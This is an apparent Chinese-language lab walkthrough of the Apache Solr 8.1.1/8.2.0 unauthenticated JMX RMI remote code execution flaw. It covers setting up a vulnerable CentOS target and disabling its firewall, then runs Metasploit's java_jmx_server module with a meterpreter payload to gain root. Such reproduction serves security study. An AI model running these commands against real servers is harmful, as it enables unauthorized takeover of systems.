Apache Solr应用服务器存在远程代码执行漏洞👻
Apache Solr应用服务器存在远程代码执行漏洞👻
1.描述
Apache Solr是一个开源的搜索服务,使用Java语言开发,主要基于HTTP和Apache Lucene实现的。
Solr是一个高性能,采用Java5开发,基于Lucene的全文搜索服务器。Solr是一个独立的企业级搜索应用服务器,很多企业运用solr开源服务。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。它的主要特性包括:高效、灵活的缓存功能,垂直搜索功能,高亮显示搜索结果,通过索引复制来提高可用性,提 供一套强大Data Schema来定义字段,类型和设置文本分析,提供基于Web的管理界面等。
影响版本
- Apache Solr8.1.1
- Apache Solr8.2.0
环境
-
靶机:centos7
-
攻击机:kali
-
攻击软件:msf
-
被攻击环境: Apache Solr8.2.0
漏洞成因
默认的配置文件solr.in.sh的选项ENABLE_REMOTE_JMX_OPTS字段值被设置为”true”,这会启用JMX监视服务并会在公网中监听一个18983的RMI端口,没有任何认证,也就是说在无需身份验证情况下,攻击者结合使用JMX RMI就会造成远程代码攻击。
在开放的端口上,利用 javax.management.loading.MLet的getMBeansFromURL 方法来加载一个远端恶意的 MBean,就可以造成远程代码执行了。 远端的恶意MBean来自于metasploit提供的exploit/multi/misc/java_jmx_server,具体的payload攻击载荷是meterpreter。
环境搭建
- 首先在靶机centos中安装Apache Solr8.2.0
wget http://archive.apache.org/dist/lucene/solr/8.2.0/solr-8.2.0.zip
- 启动一个solr的样例服务
启动条件:
- 需要root权限
- 需要java8及以上版本
cd solr-8.2.0/bin
./solr -e dih -force
我们可以看到启动成功了。这里注意如果你的靶机防火墙没关的话,局域网内其他主机访问不了的。所以如果你是要在局域网内其他主机打开这个URL的话请关闭靶机的防火墙,命令如下:
查看防火墙状态:
systemctl status firewalld
关闭防火墙:
sudo systemctl stop firewalld
漏洞利用
我们这次使用的工具就是kali自带的 msfconsole ,进入 msfconsole 输入如下命令:
msfconsole
use exploit/multi/misc/java_jmx_server
show options
set RHOSTS 192.168.33.150 //靶机IP
set RPORT 18983
run
大概就是这样,我们成功获得靶机的root权限,可以看到前面靶机的root文件夹下面有一个漏洞环境的文件夹的。
不得不说 msf 真的🐂!还是不太熟练 msf 的操作,不太熟练 msf 的命令,等下次总结一下 msf 的命令吧!👻
第一篇开始做漏洞复习按的文章,比较简单哈!😂,后面大家一起慢慢加油!!